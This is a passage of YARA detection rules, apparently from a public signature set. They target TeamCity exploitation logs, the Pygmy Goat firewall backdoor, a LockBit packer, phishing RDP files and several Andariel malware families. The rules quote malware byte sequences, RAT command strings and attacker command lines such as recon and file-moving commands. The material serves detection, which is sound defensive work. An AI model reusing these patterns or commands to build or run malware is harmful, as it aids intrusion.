		logic_hash = "3b6c8e3e3ff91563899ca94904a56460cd702a3e58e0aacf1c3acb506ec3f959"
		score = 70
		quality = 85
		tags = "CVE-2023-42793"
	strings:
		$sa1 = "File edited: "
		$sa2 = "\\TeamCity\\config\\internal.properties by user with id="
		$sb1 = "s.buildServer.ACTIVITIES.AUDIT - server_file_change: File "
		$sb2 = "\\TeamCity\\config\\internal.properties was modified by \"user with id"
	condition:
		all of ( $sa* ) or all of ( $sb* )
}

rule SIGNATURE_BASE_MAL_Sophos_XG_Pygmy_Goat_Magic_Strings : FILE
{
	meta:
		description = "Detects Pygmy Goat - a native x86-32 ELF shared object that was discovered on Sophos XG firewall devices, providing backdoor access to the device. This detection rule is based on the magic byte sequences used in C2 communications."
		author = "NCSC"
		id = "7df6c228-d569-5f1c-8bbb-4194347f99d1"
		date = "2024-10-22"
		modified = "2024-12-12"
		reference = "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/pygmy-goat/ncsc-mar-pygmy-goat.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_sophos_pygmy_nov24.yar#L26-L44"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "df40e818002a72ee649dd2bb79cb59938dc108690cce03c99a72fc036406c4b2"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "71f70d61af00542b2e9ad64abd2dda7e437536ff"
	strings:
		$c2_magic_handshake = ",bEB3?=o"
		$fake_ssh_banner = "SSH-2.0-D8pjE"
		$fake_ed25519_key = { 29 cc f0 cc 16 c5 46 6e 52 19 82 8e 86
      65 42 8c 1f 1a d4 c3 a5 b1 cb fc c0 26 6c 31 3c 5c 90 3a 24 7d e4 d3 57
      6d da 8e cb f4 66 d1 cb 81 4f 63 fd 4a fa 06 e4 7e 4c a0 95 91 bd cb 97
      a4 b3 0f }
	condition:
		uint32( 0 ) == 0x464c457f and any of them
}


rule SIGNATURE_BASE_Mal_Lockbit4_Packed_Feb24 : FILE
{
	meta:
		description = "Detect the packer used by Lockbit4.0"
		author = "0x0d4y"
		id = "3c2b2806-9dce-4dce-a7ca-89ebc9005695"
		date = "2024-02-16"
		modified = "2025-03-20"
		reference = "https://0x0d4y.blog/lockbit4-0-evasion-tales/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lockbit4_packed_win_feb24.yar#L1-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "15796971d60f9d71ad162060f0f76a02"
		logic_hash = "07281fd86efbb7167ba1cc0c6f6897418751df1a3697869e51f806c26641e365"
		score = 100
		quality = 85
		tags = "FILE"
		license = "CC BY 4.0"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.lockbit"
	strings:
		$unpacking_loop_64b = { 8b 1e 48 83 ee fc 11 db 8a 16 72 e5 8d 41 01 41 ff d3 11 c0 01 db 75 0a }
		$jump_to_unpacked_code_64b = { 48 8b 2d 16 0f ?? ?? 48 8d be 00 f0 ?? ?? bb 00 ?? ?? ?? 50 49 89 e1 41 b8 04 ?? ?? ?? 53 5a 90 57 59 90 48 83 ec ?? ff d5 48 8d 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 4c 8d 4c 24 ?? 4d 8b 01 53 90 5a 90 57 59 ff d5 48 83 c4 ?? 5d 5f 5e 5b 48 8d 44 24 ?? 6a ?? 48 39 c4 75 f9 48 83 ec ?? e9 }
		$unpacking_loop_32b = { 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 EE ?? 11 DB 72 ?? 9C 29 C0 40 9D 01 DB 75 ?? 8B 1E 83 EE ?? 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE ?? 11 DB 73 }
		$jump_to_unpacked_code_32b = { 8b ae ?? ?? ?? ?? 8d be 00 f0 ?? ?? bb 00 ?? ?? ?? 50 54 6a 04 53 57 ff d5 8d 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 ff d5 58 8d 9e 00 f0 ?? ?? 8d bb ?? ?? ?? ?? 57 31 c0 aa 59 49 50 6a 01 53 ff d1 61 8d 44 24 ?? 6a ?? 39 c4 75 fa 83 ec ?? e9 }
	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $jump_to_unpacked_code_* ) and 1 of ( $unpacking_loop_* )
}

rule SIGNATURE_BASE_SUSP_RDP_File_Indicators_Oct24_1 : FILE
{
	meta:
		description = "Detects characteristics found in malicious RDP files used as email attachments in spear phishing campaigns"
		author = "Florian Roth"
		id = "16128c1e-64ed-5a3e-ad1e-e0330d91f5a9"
		date = "2024-10-25"
		modified = "2024-12-12"
		reference = "https://thecyberexpress.com/rogue-rdp-files-used-in-ukraine-cyberattacks/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nobellium_rdp_phish.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "55bd63738c38719ce7aeb874956488b0d3f7167a31d880ee61994b5921bd1458"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "280fbf353fdffefc5a0af40c706377142fff718c7b87bc8b0daab10849f388d0"
		hash2 = "8b45f5a173e8e18b0d5c544f9221d7a1759847c28e62a25210ad8265f07e96d5"
		hash3 = "9b8cb8b01ce4eafb9204250a3c28bfaf70cc76a99ce411ad52bbf1aa2b6cce34"
		hash4 = "ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46"
		hash5 = "f357d26265a59e9c356be5a8ddb8d6533d1de222aae969c2ad4dc9c40863bfe8"
	strings:
		$s1 = "redirectclipboard:i:1" wide fullword
		$s2 = "redirectprinters:i:1" wide fullword
		$s3 = "remoteapplicationmode:i:1" wide fullword
		$s4 = "username:s:" wide
		$s5 = "emoteapplicationicon:s:C:\\Windows\\SystemApps" wide
	condition:
		filesize < 50KB and all of them
}

rule SIGNATURE_BASE_HKTL_EXPL_WIN_PS1_Badsuccessor_May25 : FILE
{
	meta:
		description = "Detects PowerShell tool called Get-BadSuccessorOUPermissions.ps1 that helps exploit a vulnerability in Active Directory. Lists every principal that can perform a BadSuccessor attack and the OUs where it holds the required permissions."
		author = "Florian Roth"
		id = "5bc135f2-dc7f-51e9-ba19-b63af64f0deb"
		date = "2025-05-22"
		modified = "2025-05-22"
		reference = "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/hktl_badsuccessor_helper_may25.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a023bced4aec2b2c601088367766f42a3fcf36053c7eb92985cc7468c7cd6cb0"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "function Get-BadSuccessorOUPermissions" ascii wide
		$x2 = "\"0feb936f-47b3-49f2-9386-1dedc2c23765\"=\"msDS-DelegatedManagedServiceAccount\"" ascii wide
		$x3 = "CreateChild|GenericAll|WriteDACL|WriteOwner" ascii wide
	condition:
		filesize < 20MB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Maldoc_Excelmacro : FILE
{
	meta:
		description = "Detects malicious Excel macro Artifacts"
		author = "James Quinn"
		id = "76806717-a9a8-520e-b6b6-7718eb088de5"
		date = "2020-11-03"
		modified = "2023-12-05"
		reference = "YARA Exchange - Undisclosed Macro Builder"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_macro_builders.yar#L2-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c5d0655eaf2ca36c828675f9673a1d4284ef8719fd9ec1d354ee3284d1fb0a0c"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$artifact1 = {5c 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2e 00 ?? 00 ?? 00}
		$url1 = "http://" wide
		$url2 = "https://" wide
		$import1 = "URLDownloadToFileA" wide ascii
		$macro = "xl/macrosheets/"
	condition:
		uint16( 0 ) == 0x4b50 and filesize < 2000KB and $artifact1 and $macro and $import1 and 1 of ( $url* )
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Scheduledtask_Loader : FILE
{
	meta:
		description = "Detects a scheduled task loader used by Andariel"
		author = "CISA.gov"
		id = "0c32758b-480c-5784-b28f-cee85d038850"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L3-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2d32ee777cb40c6fa58787e92c0de074ea5b81d629a17ccb4f9432d62436f03c"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
		$obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
		$obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 }
	condition:
		uint16( 0 ) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
}

rule SIGNATURE_BASE_MAL_APT_NK_Trifaux_Easyrat_JUPITER : FILE
{
	meta:
		description = "Detects a variant of the EasyRAT malware family"
		author = "CISA.gov"
		id = "8bd72287-59da-53cf-9015-66149303e59f"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L44-L59"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6108035dbebd34fe994fc1f8b4123321321f6ed5c022be6e84a88f905ea6fb73"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$InitOnce = "InitOnceExecuteOnce"
		$BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
		$Bytes = "4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Cutiedrop_Magicrat : FILE
{
	meta:
		description = "Detects the MagicRAT variant used by Andariel"
		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
		id = "104244de-83fb-5112-a2b6-e20d38a6ced6"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L61-L85"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f289bbd71bdeaf2c42063642454679ec26de5ed24c020af40db694a0ced54884"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$config_os_w = "os/windows" ascii
		$config_os_l = "os/linux" ascii
		$config_os_m = "os/mac" ascii
		$config_comp_msft = "company/microsoft" ascii
		$config_comp_orcl = "company/oracle" ascii
		$POST_field_1 = "session=" ascii
		$POST_field_2 = "type=" ascii
		$command_misspelled = "renmae" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_HHSD_Filetransfertool : FILE
{
	meta:
		description = "Detects a variant of the HHSD File Transfer Tool"
		author = "CISA.gov"
		id = "46b6dbaf-1272-5bbd-a586-5e48ba6c5022"
		date = "2024-07-25"
		modified = "2025-07-09"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L87-L125"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "665c1b27d64d5377be98aa4e629b077e56f3a44273d98653a338439b3dc05b65"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }
		$err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }
		$hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
		$hash_call_unk = { B? 91 B8 F6 88 E8 }
	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $handshake , $err_xor_str ) and 1 of ( $hash_call_* ) or 2 of ( $handshake , $err_xor_str )
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Atharvan_3RAT : FILE
{
	meta:
		description = "Detects a variant of the Atharvan 3RAT malware family"
		author = "CISA.gov"
		id = "9ff6998a-a2dd-5671-bd3f-ee69561f71ef"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L127-L141"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "741318234e245a35accc0b102a7891559ce5ef868ccdc3e6e4c8e59d8dea8b24"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$3RAT = "D:\\rang\\TOOL\\3RAT"
		$atharvan = "Atharvan_dll.pdb"
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Lilithrat_Variant : FILE
{
	meta:
		description = "Detects a variant of the Lilith RAT malware family"
		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
		id = "916a289b-db7b-5f09-9d3e-589c3f09101d"
		date = "2024-07-25"
		modified = "2024-07-26"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L143-L178"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3ce68908468ff85683b081842fa4faa579fbf6f7dc1a7fab5dcf7eac63d90aea"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$lilith_1 = "Initiate a CMD session first." ascii
		$lilith_2 = "CMD is not open" ascii
		$lilith_3 = "Couldn't write command" ascii
		$lilith_4 = "Couldn't write to CMD: CMD not open" ascii
		$unique_1 = "Upload Error!" ascii
		$unique_2 = "ERROR: Downloading is already running!" ascii
		$unique_3 = "ERROR: Unable to open file:" ascii
		$unique_4 = "General error" ascii
		$unique_5 = "CMD error" ascii
		$unique_6 = "killing self" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and ( all of ( $lilith_* ) or 4 of ( $unique_* ) or 1 of ( $lilith_4 , $unique_2 ) )
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Sockstroy_Strings_Opcodes : FILE
{
	meta:
		description = "Detects a variant of the SocksTroy malware family"
		author = "CISA.gov"
		id = "9e7fb6ba-771e-5cae-a0d5-c0b95ee6d4e9"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L180-L199"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6ab31b285d0dba1745a2d8b172bd02931c6138e2b8e541203b88f111d179549b"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$strHost = "-host" wide
		$strAuth = "-auth" wide
		$SocksTroy = "SocksTroy"
		$cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $str* ) and all of ( $c* ) or all of ( $Socks* ) )
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Agni : FILE
{
	meta:
		description = "Detects samples of the Agni malware family"
		author = "CISA.gov"
		id = "ffe3f427-c10a-5ad4-ab29-c0d9b576c30f"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L201-L216"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "302899b65e5a3a6beabbb46e80e3f0ff246c209206cc3a7f871011d68871d0b9"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
		$stackstrings = { C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24 }
	condition:
		uint16( 0 ) == 0x5a4d and #xor > 100 and #stackstrings > 5
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Blackstring : FILE
{
	meta:
		description = "Detects a variant of the GoLang Validalpha malware based on a file path found in the samples"
		author = "CISA.gov"
		id = "36f46a1d-69b6-5c99-9a54-6a14d62d2721"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L249-L261"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "07ea38890e99dd53437a23b7c4002851604b69a83bd7fb8971609226249e5954"
		score = 90
		quality = 85
		tags = "FILE"
	strings:
		$ = "I:/01___Tools/02__RAT/Black"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_ELF_Backdoor_Fipps : FILE
{
	meta:
		description = "Detects a Linux backdoor named Fipps used by Andariel"
		author = "CISA.gov"
		id = "040bca78-8b7e-5397-8a2b-1ddeed59eea3"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L291-L307"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3b57eb6c6b89e93863b9600c4a1384f3e064f236e827ef9ffc37b1e5dcff7d24"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$a = "found mac address"
		$b = "RecvThread"
		$c = "OpenSSL-1.0.0-fipps"
		$d = "Disconnected!"
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Grease2 : FILE
{
	meta:
		description = "Detects the Grease2 malware family used by Andariel"
		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
		id = "4defbe08-b3c6-5ab9-9a57-cec57ff42d9a"
		date = "2024-07-25"
		modified = "2024-07-26"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L330-L351"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "138fc915206e0c2834090ebc0a808913488121d51c17de3dbfadcb4099fbfa2f"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$str_rdpconf = "emp\\RDPConf.exe"
		$str_rdpwinst = "emp\\RDPWInst.exe"
		$str_net_user = "net user"
		$str_admins_add = "net localgroup administrators"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Nopineapple_Dtrack_Unpacked : FILE
{
	meta:
		description = "Detects the Dtrack variant used by Andariel"
		author = "CISA.gov"
		id = "6ccaf24b-c110-5788-a792-fa7f39fb18f7"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L353-L368"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cf5f92a66ba3ff4db61102dcc50b781e8dd14ca7cb1eb70dae8eba2ed0910b66"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$str_nopineapple = "< No Pineapple! >"
		$str_qt_library = "Qt 5.12.10"
		$str_xor = { 8B 10 83 F6 ?? 83 FA 01 77 }
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Dtrack_Unpacked : FILE
{
	meta:
		description = "Detects DTrack variant used by Andariel"
		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
		id = "0c161275-2b2e-51a4-9e08-c118fb4c8671"
		date = "2024-07-25"
		modified = "2024-07-26"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L370-L393"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d8de583fc0de01e6784305d28dbf7cea859a24cf4df1dc59356601bc830e4770"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x_str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
		$x_str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
		$str_mutex = "MTX_Global"
		$str_cmd_1 = "/c net use \\\\" wide
		$str_cmd_3 = "/c move /y %s \\\\" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Tigerrat_Crowdsourced_Rule : FILE
{
	meta:
		description = "Detects the Tiger RAT variant used by Andariel"
		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
		id = "6be65222-7d3c-5ff5-a9c7-d91dcf1deaa6"
		date = "2024-07-25"
		modified = "2024-07-26"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L395-L424"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5d203d8c7e624796571f4597f70be0b8303f21c096640f25018cad29d4abc05b"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$m1 = ".?AVModuleKeyLogger@@" fullword ascii
		$m2 = ".?AVModulePortForwarder@@" fullword ascii
		$m3 = ".?AVModuleScreenCapture@@" fullword ascii
		$m4 = ".?AVModuleShell@@" fullword ascii
		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
		$s4 = "del \"%s\"%s \"%s\" goto " ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( all of ( $m* ) and 1 of ( $s* ) ) or ( 2 of ( $m* ) and 2 of ( $s* ) ) )
}

rule SIGNATURE_BASE_MAL_APT_NK_WIN_Tiger_RAT_Auto : FILE
{
	meta:
		description = "Detects the Tiger RAT variant used by Andariel"
		author = "CISA.gov"
		id = "4579af62-52be-5f5f-a577-16ec50297c05"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L426-L565"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1deef66efb44c0d17f33508a8b6f0d6253f0308f309e81657f78eb0f87121bf5"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$sequence_0 = { 33 c0 89 44 24 38 89 44 24 30 44 8b cf 45 33 c0 }
		$sequence_1 = { 41 b9 01 00 00 00 48 8b d6 48 8b cb e8 ?? ?? ?? ?? }
		$sequence_2 = { 48 81 ec 90 05 00 00 8b 01 89 85 c8 04 00 00 8b 41 04 }
		$sequence_3 = { 48 8b 01 ff 10 48 8b 4f 08 4c 8d 4c 24 30 }
		$sequence_4 = { 48 8b 01 ff 10 48 8b 4e 18 48 8b 01 }
		$sequence_5 = { 48 81 ec a0 00 00 00 33 c0 48 8b d9 48 8d 4c 24 32 }
		$sequence_6 = { 48 8b 01 eb 03 48 8b c1 0f b6 00 }
		$sequence_7 = { 48 8b 01 8b 10 89 51 24 44 8b 41 24 45 85 c0 }
		$sequence_8 = { 4c 8d 0d 31 eb 00 00 c1 e9 18 c1 e8 08 41 bf 00 00 00 80 }
		$sequence_9 = { 48 8b d8 48 85 c0 75 2d ff 15 ?? ?? ?? ?? 83 f8 57 0f 85 e0 01 00 00 48 8d 0d a0 bd 00 00 }
		$sequence_10 = { 75 d4 48 8d 1d 7f 6c 01 00 48 8b 4b f8 48 85 c9 74 0b }
		$sequence_11 = { 0f 85 d9 00 00 00 48 8d 15 d0 c9 00 00 41 b8 10 20 01 00 48 8b cd e8 ?? ?? ?? ?? eb 6b b9 f4 ff ff ff }
		$sequence_12 = { 48 89 0d ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8d 05 ae 61 00 00 48 89 05 ?? ?? ?? ?? 48 8d 05 a0 55 00 00 48 89 05 ?? ?? ?? ?? }
